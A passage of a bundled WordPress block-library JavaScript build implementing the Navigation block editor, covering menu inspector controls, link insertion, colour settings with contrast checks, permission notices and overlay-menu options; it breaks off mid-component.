32373
32374
32375
32376
32377
32378const actionLabel = (
32379 /* translators: %s: The name of a menu. */
32380 (0,external_wp_i18n_namespaceObject.__)("Switch to '%s'")
32381);
32382const BLOCKS_WITH_LINK_UI_SUPPORT = [
32383 "core/navigation-link",
32384 "core/navigation-submenu"
32385];
32386const { PrivateListView } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
32387function AdditionalBlockContent({ block, insertedBlock, setInsertedBlock }) {
32388 const { updateBlockAttributes, removeBlock } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
32389 const supportsLinkControls = BLOCKS_WITH_LINK_UI_SUPPORT?.includes(
32390 insertedBlock?.name
32391 );
32392 const blockWasJustInserted = insertedBlock?.clientId === block.clientId;
32393 const showLinkControls = supportsLinkControls && blockWasJustInserted;
32394 const { createBinding, clearBinding } = useEntityBinding({
32395 clientId: insertedBlock?.clientId,
32396 attributes: insertedBlock?.attributes || {}
32397 });
32398 if (!showLinkControls) {
32399 return null;
32400 }
32401 const cleanupInsertedBlock = () => {
32402 const shouldAutoSelectBlock = false;
32403 if (!insertedBlock?.attributes?.url && insertedBlock?.clientId) {
32404 removeBlock(insertedBlock.clientId, shouldAutoSelectBlock);
32405 }
32406 setInsertedBlock(null);
32407 };
32408 const setInsertedBlockAttributes = (_insertedBlockClientId) => (_updatedAttributes) => {
32409 if (!_insertedBlockClientId) {
32410 return;
32411 }
32412 updateBlockAttributes(_insertedBlockClientId, _updatedAttributes);
32413 };
32414 const handleSetInsertedBlock = (newBlock) => {
32415 const shouldAutoSelectBlock = false;
32416 if (insertedBlock?.clientId && newBlock) {
32417 removeBlock(insertedBlock.clientId, shouldAutoSelectBlock);
32418 }
32419 setInsertedBlock(newBlock);
32420 };
32421 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32422 LinkUI,
32423 {
32424 clientId: insertedBlock?.clientId,
32425 link: insertedBlock?.attributes,
32426 onBlockInsert: handleSetInsertedBlock,
32427 onClose: () => {
32428 cleanupInsertedBlock();
32429 },
32430 onChange: (updatedValue) => {
32431 const { isEntityLink, attributes: updatedAttributes } = updateAttributes(
32432 updatedValue,
32433 setInsertedBlockAttributes(insertedBlock?.clientId),
32434 insertedBlock?.attributes
32435 );
32436 if (isEntityLink) {
32437 createBinding(updatedAttributes);
32438 } else {
32439 clearBinding(updatedAttributes);
32440 }
32441 setInsertedBlock(null);
32442 }
32443 }
32444 );
32445}
32446const MainContent = ({
32447 clientId,
32448 currentMenuId,
32449 isLoading,
32450 isNavigationMenuMissing,
32451 onCreateNew
32452}) => {
32453 const hasChildren = (0,external_wp_data_namespaceObject.useSelect)(
32454 (select) => {
32455 return !!select(external_wp_blockEditor_namespaceObject.store).getBlockCount(clientId);
32456 },
32457 [clientId]
32458 );
32459 const { navigationMenu } = useNavigationMenu(currentMenuId);
32460 if (currentMenuId && isNavigationMenuMissing) {
32461 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(deleted_navigation_warning_default, { onCreateNew, isNotice: true });
32462 }
32463 if (isLoading) {
32464 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {});
32465 }
32466 const description = navigationMenu ? (0,external_wp_i18n_namespaceObject.sprintf)(
32467 /* translators: %s: The name of a menu. */
32468 (0,external_wp_i18n_namespaceObject.__)("Structure for Navigation Menu: %s"),
32469 navigationMenu?.title || (0,external_wp_i18n_namespaceObject.__)("Untitled menu")
32470 ) : (0,external_wp_i18n_namespaceObject.__)(
32471 "You have not yet created any menus. Displaying a list of your Pages"
32472 );
32473 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "wp-block-navigation__menu-inspector-controls", children: [
32474 !hasChildren && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "wp-block-navigation__menu-inspector-controls__empty-message", children: (0,external_wp_i18n_namespaceObject.__)("This Navigation Menu is empty.") }),
32475 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32476 PrivateListView,
32477 {
32478 rootClientId: clientId,
32479 isExpanded: true,
32480 description,
32481 showAppender: true,
32482 blockSettingsMenu: LeafMoreMenu,
32483 additionalBlockContent: AdditionalBlockContent
32484 }
32485 )
32486 ] });
32487};
32488const MenuInspectorControls = (props) => {
32489 const {
32490 createNavigationMenuIsSuccess,
32491 createNavigationMenuIsError,
32492 currentMenuId = null,
32493 onCreateNew,
32494 onSelectClassicMenu,
32495 onSelectNavigationMenu,
32496 isManageMenusButtonDisabled,
32497 blockEditingMode
32498 } = props;
32499 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { group: "list", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.PanelBody, { title: null, children: [
32500 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { className: "wp-block-navigation-off-canvas-editor__header", children: [
32501 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32502 external_wp_components_namespaceObject.__experimentalHeading,
32503 {
32504 className: "wp-block-navigation-off-canvas-editor__title",
32505 level: 2,
32506 children: (0,external_wp_i18n_namespaceObject.__)("Menu")
32507 }
32508 ),
32509 blockEditingMode === "default" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32510 navigation_menu_selector_default,
32511 {
32512 currentMenuId,
32513 onSelectClassicMenu,
32514 onSelectNavigationMenu,
32515 onCreateNew,
32516 createNavigationMenuIsSuccess,
32517 createNavigationMenuIsError,
32518 actionLabel,
32519 isManageMenusButtonDisabled
32520 }
32521 )
32522 ] }),
32523 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(MainContent, { ...props })
32524 ] }) });
32525};
32526var menu_inspector_controls_default = MenuInspectorControls;
32527
32528
32529;// ./node_modules/@wordpress/block-library/build-module/navigation/edit/accessible-description.js
32530
32531
32532function AccessibleDescription({ id, children }) {
32533 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { id, className: "wp-block-navigation__description", children }) });
32534}
32535
32536
32537;// ./node_modules/@wordpress/block-library/build-module/navigation/edit/accessible-menu-description.js
32538
32539
32540
32541
32542function AccessibleMenuDescription({ id }) {
32543 const [menuTitle] = (0,external_wp_coreData_namespaceObject.useEntityProp)("postType", "wp_navigation", "title");
32544 const description = (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)(`Navigation Menu: "%s"`), menuTitle);
32545 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(AccessibleDescription, { id, children: description });
32546}
32547
32548
32549;// ./node_modules/@wordpress/block-library/build-module/navigation/edit/index.js
32550
32551
32552
32553
32554
32555
32556
32557
32558
32559
32560
32561
32562
32563
32564
32565
32566
32567
32568
32569
32570
32571
32572
32573
32574
32575
32576
32577
32578
32579
32580
32581
32582
32583
32584
32585function NavigationAddPageButton({ clientId }) {
32586 const { insertBlock } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
32587 const { getBlockCount } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store);
32588 const onAddPage = (0,external_wp_element_namespaceObject.useCallback)(() => {
32589 const blockCount = getBlockCount(clientId);
32590 const newBlock = (0,external_wp_blocks_namespaceObject.createBlock)(constants_DEFAULT_BLOCK.name, {
32591 kind: constants_DEFAULT_BLOCK.attributes.kind,
32592 type: constants_DEFAULT_BLOCK.attributes.type
32593 });
32594 insertBlock(newBlock, blockCount, clientId);
32595 }, [clientId, insertBlock, getBlockCount]);
32596 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32597 external_wp_components_namespaceObject.ToolbarButton,
32598 {
32599 name: "add-page",
32600 icon: page_default,
32601 onClick: onAddPage,
32602 children: (0,external_wp_i18n_namespaceObject.__)("Add page")
32603 }
32604 ) }) });
32605}
32606function ColorTools({
32607 textColor,
32608 setTextColor,
32609 backgroundColor,
32610 setBackgroundColor,
32611 overlayTextColor,
32612 setOverlayTextColor,
32613 overlayBackgroundColor,
32614 setOverlayBackgroundColor,
32615 clientId,
32616 navRef
32617}) {
32618 const [detectedBackgroundColor, setDetectedBackgroundColor] = (0,external_wp_element_namespaceObject.useState)();
32619 const [detectedColor, setDetectedColor] = (0,external_wp_element_namespaceObject.useState)();
32620 const [
32621 detectedOverlayBackgroundColor,
32622 setDetectedOverlayBackgroundColor
32623 ] = (0,external_wp_element_namespaceObject.useState)();
32624 const [detectedOverlayColor, setDetectedOverlayColor] = (0,external_wp_element_namespaceObject.useState)();
32625 const enableContrastChecking = external_wp_element_namespaceObject.Platform.OS === "web";
32626 (0,external_wp_element_namespaceObject.useEffect)(() => {
32627 if (!enableContrastChecking) {
32628 return;
32629 }
32630 detectColors(
32631 navRef.current,
32632 setDetectedColor,
32633 setDetectedBackgroundColor
32634 );
32635 const subMenuElement = navRef.current?.querySelector(
32636 '[data-type="core/navigation-submenu"] [data-type="core/navigation-link"]'
32637 );
32638 if (!subMenuElement) {
32639 return;
32640 }
32641 if (overlayTextColor.color || overlayBackgroundColor.color) {
32642 detectColors(
32643 subMenuElement,
32644 setDetectedOverlayColor,
32645 setDetectedOverlayBackgroundColor
32646 );
32647 }
32648 }, [
32649 enableContrastChecking,
32650 overlayTextColor.color,
32651 overlayBackgroundColor.color,
32652 navRef
32653 ]);
32654 const colorGradientSettings = (0,external_wp_blockEditor_namespaceObject.__experimentalUseMultipleOriginColorsAndGradients)();
32655 if (!colorGradientSettings.hasColorsOrGradients) {
32656 return null;
32657 }
32658 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
32659 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32660 external_wp_blockEditor_namespaceObject.__experimentalColorGradientSettingsDropdown,
32661 {
32662 __experimentalIsRenderedInSidebar: true,
32663 settings: [
32664 {
32665 colorValue: textColor.color,
32666 label: (0,external_wp_i18n_namespaceObject.__)("Text"),
32667 onColorChange: setTextColor,
32668 resetAllFilter: () => setTextColor(),
32669 clearable: true,
32670 enableAlpha: true
32671 },
32672 {
32673 colorValue: backgroundColor.color,
32674 label: (0,external_wp_i18n_namespaceObject.__)("Background"),
32675 onColorChange: setBackgroundColor,
32676 resetAllFilter: () => setBackgroundColor(),
32677 clearable: true,
32678 enableAlpha: true
32679 },
32680 {
32681 colorValue: overlayTextColor.color,
32682 label: (0,external_wp_i18n_namespaceObject.__)("Submenu & overlay text"),
32683 onColorChange: setOverlayTextColor,
32684 resetAllFilter: () => setOverlayTextColor(),
32685 clearable: true,
32686 enableAlpha: true
32687 },
32688 {
32689 colorValue: overlayBackgroundColor.color,
32690 label: (0,external_wp_i18n_namespaceObject.__)("Submenu & overlay background"),
32691 onColorChange: setOverlayBackgroundColor,
32692 resetAllFilter: () => setOverlayBackgroundColor(),
32693 clearable: true,
32694 enableAlpha: true
32695 }
32696 ],
32697 panelId: clientId,
32698 ...colorGradientSettings,
32699 gradients: [],
32700 disableCustomGradients: true
32701 }
32702 ),
32703 enableContrastChecking && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
32704 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32705 external_wp_blockEditor_namespaceObject.ContrastChecker,
32706 {
32707 backgroundColor: detectedBackgroundColor,
32708 textColor: detectedColor
32709 }
32710 ),
32711 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32712 external_wp_blockEditor_namespaceObject.ContrastChecker,
32713 {
32714 backgroundColor: detectedOverlayBackgroundColor,
32715 textColor: detectedOverlayColor
32716 }
32717 )
32718 ] })
32719 ] });
32720}
32721function Navigation({
32722 attributes,
32723 setAttributes,
32724 clientId,
32725 isSelected,
32726 className,
32727 backgroundColor,
32728 setBackgroundColor,
32729 textColor,
32730 setTextColor,
32731 overlayBackgroundColor,
32732 setOverlayBackgroundColor,
32733 overlayTextColor,
32734 setOverlayTextColor,
32735 // These props are used by the navigation editor to override specific
32736 // navigation block settings.
32737 hasSubmenuIndicatorSetting = true,
32738 customPlaceholder: CustomPlaceholder = null,
32739 __unstableLayoutClassNames: layoutClassNames
32740}) {
32741 const {
32742 openSubmenusOnClick,
32743 overlayMenu,
32744 showSubmenuIcon,
32745 templateLock,
32746 layout: {
32747 justifyContent,
32748 orientation = "horizontal",
32749 flexWrap = "wrap"
32750 } = {},
32751 hasIcon,
32752 icon = "handle"
32753 } = attributes;
32754 const ref = attributes.ref;
32755 const setRef = (0,external_wp_element_namespaceObject.useCallback)(
32756 (postId) => {
32757 setAttributes({ ref: postId });
32758 },
32759 [setAttributes]
32760 );
32761 const recursionId = `navigationMenu/${ref}`;
32762 const hasAlreadyRendered = (0,external_wp_blockEditor_namespaceObject.useHasRecursion)(recursionId);
32763 const blockEditingMode = (0,external_wp_blockEditor_namespaceObject.useBlockEditingMode)();
32764 const { menus: classicMenus } = useNavigationEntities();
32765 const [showNavigationMenuStatusNotice, hideNavigationMenuStatusNotice] = use_navigation_notice_default({
32766 name: "block-library/core/navigation/status"
32767 });
32768 const [showClassicMenuConversionNotice, hideClassicMenuConversionNotice] = use_navigation_notice_default({
32769 name: "block-library/core/navigation/classic-menu-conversion"
32770 });
32771 const [
32772 showNavigationMenuPermissionsNotice,
32773 hideNavigationMenuPermissionsNotice
32774 ] = use_navigation_notice_default({
32775 name: "block-library/core/navigation/permissions/update"
32776 });
32777 const {
32778 create: createNavigationMenu,
32779 status: createNavigationMenuStatus,
32780 error: createNavigationMenuError,
32781 value: createNavigationMenuPost,
32782 isPending: isCreatingNavigationMenu,
32783 isSuccess: createNavigationMenuIsSuccess,
32784 isError: createNavigationMenuIsError
32785 } = useCreateNavigationMenu(clientId);
32786 const createUntitledEmptyNavigationMenu = async () => {
32787 await createNavigationMenu("");
32788 };
32789 const {
32790 hasUncontrolledInnerBlocks,
32791 uncontrolledInnerBlocks,
32792 isInnerBlockSelected,
32793 innerBlocks
32794 } = useInnerBlocks(clientId);
32795 const hasSubmenus = !!innerBlocks.find(
32796 (block) => block.name === "core/navigation-submenu"
32797 );
32798 const {
32799 replaceInnerBlocks,
32800 selectBlock,
32801 __unstableMarkNextChangeAsNotPersistent
32802 } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
32803 const [isResponsiveMenuOpen, setResponsiveMenuVisibility] = (0,external_wp_element_namespaceObject.useState)(false);
32804 const [overlayMenuPreview, setOverlayMenuPreview] = (0,external_wp_element_namespaceObject.useState)(false);
32805 const {
32806 hasResolvedNavigationMenus,
32807 isNavigationMenuResolved,
32808 isNavigationMenuMissing,
32809 canUserUpdateNavigationMenu,
32810 hasResolvedCanUserUpdateNavigationMenu,
32811 canUserDeleteNavigationMenu,
32812 hasResolvedCanUserDeleteNavigationMenu,
32813 canUserCreateNavigationMenus,
32814 isResolvingCanUserCreateNavigationMenus,
32815 hasResolvedCanUserCreateNavigationMenus
32816 } = useNavigationMenu(ref);
32817 const navMenuResolvedButMissing = hasResolvedNavigationMenus && isNavigationMenuMissing;
32818 const {
32819 convert: convertClassicMenu,
32820 status: classicMenuConversionStatus,
32821 error: classicMenuConversionError
32822 } = use_convert_classic_menu_to_block_menu_default(createNavigationMenu);
32823 const isConvertingClassicMenu = classicMenuConversionStatus === CLASSIC_MENU_CONVERSION_PENDING;
32824 const handleUpdateMenu = (0,external_wp_element_namespaceObject.useCallback)(
32825 (menuId, options = { focusNavigationBlock: false }) => {
32826 const { focusNavigationBlock } = options;
32827 setRef(menuId);
32828 if (focusNavigationBlock) {
32829 selectBlock(clientId);
32830 }
32831 },
32832 [selectBlock, clientId, setRef]
32833 );
32834 const isEntityAvailable = !isNavigationMenuMissing && isNavigationMenuResolved;
32835 const hasUnsavedBlocks = hasUncontrolledInnerBlocks && !isEntityAvailable;
32836 const { getNavigationFallbackId } = unlock((0,external_wp_data_namespaceObject.useSelect)(external_wp_coreData_namespaceObject.store));
32837 const navigationFallbackId = !(ref || hasUnsavedBlocks) ? getNavigationFallbackId() : null;
32838 (0,external_wp_element_namespaceObject.useEffect)(() => {
32839 if (ref || hasUnsavedBlocks || !navigationFallbackId) {
32840 return;
32841 }
32842 __unstableMarkNextChangeAsNotPersistent();
32843 setRef(navigationFallbackId);
32844 }, [
32845 ref,
32846 setRef,
32847 hasUnsavedBlocks,
32848 navigationFallbackId,
32849 __unstableMarkNextChangeAsNotPersistent
32850 ]);
32851 const navRef = (0,external_wp_element_namespaceObject.useRef)();
32852 const TagName = "nav";
32853 const isPlaceholder = !ref && !isCreatingNavigationMenu && !isConvertingClassicMenu && hasResolvedNavigationMenus && classicMenus?.length === 0 && !hasUncontrolledInnerBlocks;
32854 const isLoading = !hasResolvedNavigationMenus || isCreatingNavigationMenu || isConvertingClassicMenu || !!(ref && !isEntityAvailable && !isConvertingClassicMenu);
32855 const textDecoration = attributes.style?.typography?.textDecoration;
32856 const hasBlockOverlay = (0,external_wp_data_namespaceObject.useSelect)(
32857 (select) => select(external_wp_blockEditor_namespaceObject.store).__unstableHasActiveBlockOverlayActive(
32858 clientId
32859 ),
32860 [clientId]
32861 );
32862 const isResponsive = "never" !== overlayMenu;
32863 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
32864 ref: navRef,
32865 className: dist_clsx(
32866 className,
32867 {
32868 "items-justified-right": justifyContent === "right",
32869 "items-justified-space-between": justifyContent === "space-between",
32870 "items-justified-left": justifyContent === "left",
32871 "items-justified-center": justifyContent === "center",
32872 "is-vertical": orientation === "vertical",
32873 "no-wrap": flexWrap === "nowrap",
32874 "is-responsive": isResponsive,
32875 "has-text-color": !!textColor.color || !!textColor?.class,
32876 [(0,external_wp_blockEditor_namespaceObject.getColorClassName)("color", textColor?.slug)]: !!textColor?.slug,
32877 "has-background": !!backgroundColor.color || backgroundColor.class,
32878 [(0,external_wp_blockEditor_namespaceObject.getColorClassName)(
32879 "background-color",
32880 backgroundColor?.slug
32881 )]: !!backgroundColor?.slug,
32882 [`has-text-decoration-${textDecoration}`]: textDecoration,
32883 "block-editor-block-content-overlay": hasBlockOverlay
32884 },
32885 layoutClassNames
32886 ),
32887 style: {
32888 color: !textColor?.slug && textColor?.color,
32889 backgroundColor: !backgroundColor?.slug && backgroundColor?.color
32890 }
32891 });
32892 const onSelectClassicMenu = async (classicMenu) => {
32893 return convertClassicMenu(classicMenu.id, classicMenu.name, "draft");
32894 };
32895 const onSelectNavigationMenu = (menuId) => {
32896 handleUpdateMenu(menuId);
32897 };
32898 (0,external_wp_element_namespaceObject.useEffect)(() => {
32899 hideNavigationMenuStatusNotice();
32900 if (isCreatingNavigationMenu) {
32901 (0,external_wp_a11y_namespaceObject.speak)((0,external_wp_i18n_namespaceObject.__)(`Creating Navigation Menu.`));
32902 }
32903 if (createNavigationMenuIsSuccess) {
32904 handleUpdateMenu(createNavigationMenuPost?.id, {
32905 focusNavigationBlock: true
32906 });
32907 showNavigationMenuStatusNotice(
32908 (0,external_wp_i18n_namespaceObject.__)(`Navigation Menu successfully created.`)
32909 );
32910 }
32911 if (createNavigationMenuIsError) {
32912 showNavigationMenuStatusNotice(
32913 (0,external_wp_i18n_namespaceObject.__)("Failed to create Navigation Menu.")
32914 );
32915 }
32916 }, [
32917 createNavigationMenuStatus,
32918 createNavigationMenuError,
32919 createNavigationMenuPost?.id,
32920 createNavigationMenuIsError,
32921 createNavigationMenuIsSuccess,
32922 isCreatingNavigationMenu,
32923 handleUpdateMenu,
32924 hideNavigationMenuStatusNotice,
32925 showNavigationMenuStatusNotice
32926 ]);
32927 (0,external_wp_element_namespaceObject.useEffect)(() => {
32928 hideClassicMenuConversionNotice();
32929 if (classicMenuConversionStatus === CLASSIC_MENU_CONVERSION_PENDING) {
32930 (0,external_wp_a11y_namespaceObject.speak)((0,external_wp_i18n_namespaceObject.__)("Classic menu importing."));
32931 }
32932 if (classicMenuConversionStatus === CLASSIC_MENU_CONVERSION_SUCCESS) {
32933 showClassicMenuConversionNotice(
32934 (0,external_wp_i18n_namespaceObject.__)("Classic menu imported successfully.")
32935 );
32936 handleUpdateMenu(createNavigationMenuPost?.id, {
32937 focusNavigationBlock: true
32938 });
32939 }
32940 if (classicMenuConversionStatus === CLASSIC_MENU_CONVERSION_ERROR) {
32941 showClassicMenuConversionNotice(
32942 (0,external_wp_i18n_namespaceObject.__)("Classic menu import failed.")
32943 );
32944 }
32945 }, [
32946 classicMenuConversionStatus,
32947 classicMenuConversionError,
32948 hideClassicMenuConversionNotice,
32949 showClassicMenuConversionNotice,
32950 createNavigationMenuPost?.id,
32951 handleUpdateMenu
32952 ]);
32953 (0,external_wp_element_namespaceObject.useEffect)(() => {
32954 if (!isSelected && !isInnerBlockSelected) {
32955 hideNavigationMenuPermissionsNotice();
32956 }
32957 if (isSelected || isInnerBlockSelected) {
32958 if (ref && !navMenuResolvedButMissing && hasResolvedCanUserUpdateNavigationMenu && !canUserUpdateNavigationMenu) {
32959 showNavigationMenuPermissionsNotice(
32960 (0,external_wp_i18n_namespaceObject.__)(
32961 "You do not have permission to edit this Menu. Any changes made will not be saved."
32962 )
32963 );
32964 }
32965 if (!ref && hasResolvedCanUserCreateNavigationMenus && !canUserCreateNavigationMenus) {
32966 showNavigationMenuPermissionsNotice(
32967 (0,external_wp_i18n_namespaceObject.__)(
32968 "You do not have permission to create Navigation Menus."
32969 )
32970 );
32971 }
32972 }
32973 }, [
32974 isSelected,
32975 isInnerBlockSelected,
32976 canUserUpdateNavigationMenu,
32977 hasResolvedCanUserUpdateNavigationMenu,
32978 canUserCreateNavigationMenus,
32979 hasResolvedCanUserCreateNavigationMenus,
32980 ref,
32981 hideNavigationMenuPermissionsNotice,
32982 showNavigationMenuPermissionsNotice,
32983 navMenuResolvedButMissing
32984 ]);
32985 const hasManagePermissions = canUserCreateNavigationMenus || canUserUpdateNavigationMenu;
32986 const overlayMenuPreviewClasses = dist_clsx(
32987 "wp-block-navigation__overlay-menu-preview",
32988 { open: overlayMenuPreview }
32989 );
32990 const submenuAccessibilityNotice = !showSubmenuIcon && !openSubmenusOnClick ? (0,external_wp_i18n_namespaceObject.__)(
32991 'The current menu options offer reduced accessibility for users and are not recommended. Enabling either "Open on Click" or "Show arrow" offers enhanced accessibility by allowing keyboard users to browse submenus selectively.'
32992 ) : "";
32993 const isFirstRender = (0,external_wp_element_namespaceObject.useRef)(true);
32994 (0,external_wp_element_namespaceObject.useEffect)(() => {
32995 if (!isFirstRender.current && submenuAccessibilityNotice) {
32996 (0,external_wp_a11y_namespaceObject.speak)(submenuAccessibilityNotice);
32997 }
32998 isFirstRender.current = false;
32999 }, [submenuAccessibilityNotice]);
33000 const overlayMenuPreviewId = (0,external_wp_compose_namespaceObject.useInstanceId)(
33001 OverlayMenuPreview,
33002 `overlay-menu-preview`
33003 );
33004 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
33005 const stylingInspectorControls = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
33006 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: hasSubmenuIndicatorSetting && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
33007 external_wp_components_namespaceObject.__experimentalToolsPanel,
33008 {
33009 label: (0,external_wp_i18n_namespaceObject.__)("Display"),
33010 resetAll: () => {
33011 setAttributes({
33012 showSubmenuIcon: true,
33013 openSubmenusOnClick: false,
33014 overlayMenu: "mobile",
33015 hasIcon: true,
33016 icon: "handle"
33017 });
33018 },
33019 dropdownMenuProps,
33020 children: [
33021 isResponsive && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
33022 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
33023 external_wp_components_namespaceObject.Button,
33024 {
33025 __next40pxDefaultSize: true,
33026 className: overlayMenuPreviewClasses,
33027 onClick: () => {
33028 setOverlayMenuPreview(
33029 !overlayMenuPreview
33030 );
33031 },
33032 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Overlay menu controls"),
33033 "aria-controls": overlayMenuPreviewId,
33034 "aria-expanded": overlayMenuPreview,
33035 children: [
33036 hasIcon && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
33037 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(OverlayMenuIcon, { icon }),
33038 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(build_module_icon_icon_default, { icon: close_default })
33039 ] }),
33040 !hasIcon && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
33041 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { children: (0,external_wp_i18n_namespaceObject.__)("Menu") }),
33042 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { children: (0,external_wp_i18n_namespaceObject.__)("Close") })
33043 ] })
33044 ]
33045 }
33046 ),
33047 overlayMenuPreview && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33048 external_wp_components_namespaceObject.__experimentalVStack,
33049 {
33050 id: overlayMenuPreviewId,
33051 spacing: 4,
33052 style: {
33053 gridColumn: "span 2"
33054 },
33055 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33056 OverlayMenuPreview,
33057 {
33058 setAttributes,
33059 hasIcon,
33060 icon,
33061 hidden: !overlayMenuPreview
33062 }
33063 )
33064 }
33065 )
33066 ] }),
33067 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33068 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
33069 {
33070 hasValue: () => overlayMenu !== "mobile",
33071 label: (0,external_wp_i18n_namespaceObject.__)("Overlay Menu"),
33072 onDeselect: () => setAttributes({ overlayMenu: "mobile" }),
33073 isShownByDefault: true,
33074 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
33075 external_wp_components_namespaceObject.__experimentalToggleGroupControl,
33076 {
33077 __next40pxDefaultSize: true,
33078 __nextHasNoMarginBottom: true,
33079 label: (0,external_wp_i18n_namespaceObject.__)("Overlay Menu"),
33080 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Configure overlay menu"),
33081 value: overlayMenu,
33082 help: (0,external_wp_i18n_namespaceObject.__)(
33083 "Collapses the navigation options in a menu icon opening an overlay."
33084 ),
33085 onChange: (value) => setAttributes({ overlayMenu: value }),
33086 isBlock: true,
33087 children: [
33088 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33089 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
33090 {
33091 value: "never",
33092 label: (0,external_wp_i18n_namespaceObject.__)("Off")
33093 }
33094 ),
33095 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33096 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
33097 {
33098 value: "mobile",
33099 label: (0,external_wp_i18n_namespaceObject.__)("Mobile")
33100 }
33101 ),
33102 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33103 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
33104 {
33105 value: "always",
33106 label: (0,external_wp_i18n_namespaceObject.__)("Always")
33107 }
33108 )
33109 ]
33110 }
33111 )
33112 }
33113 ),
33114 hasSubmenus && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
33115 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h3", { className: "wp-block-navigation__submenu-header", children: (0,external_wp_i18n_namespaceObject.__)("Submenus") }),
33116 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33117 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
33118 {
33119 hasValue: () => openSubmenusOnClick,
33120 label: (0,external_wp_i18n_namespaceObject.__)("Open on click"),
33121 onDeselect: () => setAttributes({
33122 openSubmenusOnClick: false,
33123 showSubmenuIcon: true
33124 }),
33125 isShownByDefault: true,
33126 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33127 external_wp_components_namespaceObject.ToggleControl,
33128 {
33129 __nextHasNoMarginBottom: true,
33130 checked: openSubmenusOnClick,
33131 onChange: (value) => {
33132 setAttributes({
33133 openSubmenusOnClick: value,
33134 ...value && {
33135 showSubmenuIcon: true
33136 }
33137 // Make sure arrows are shown when we toggle this on.
33138 });
33139 },
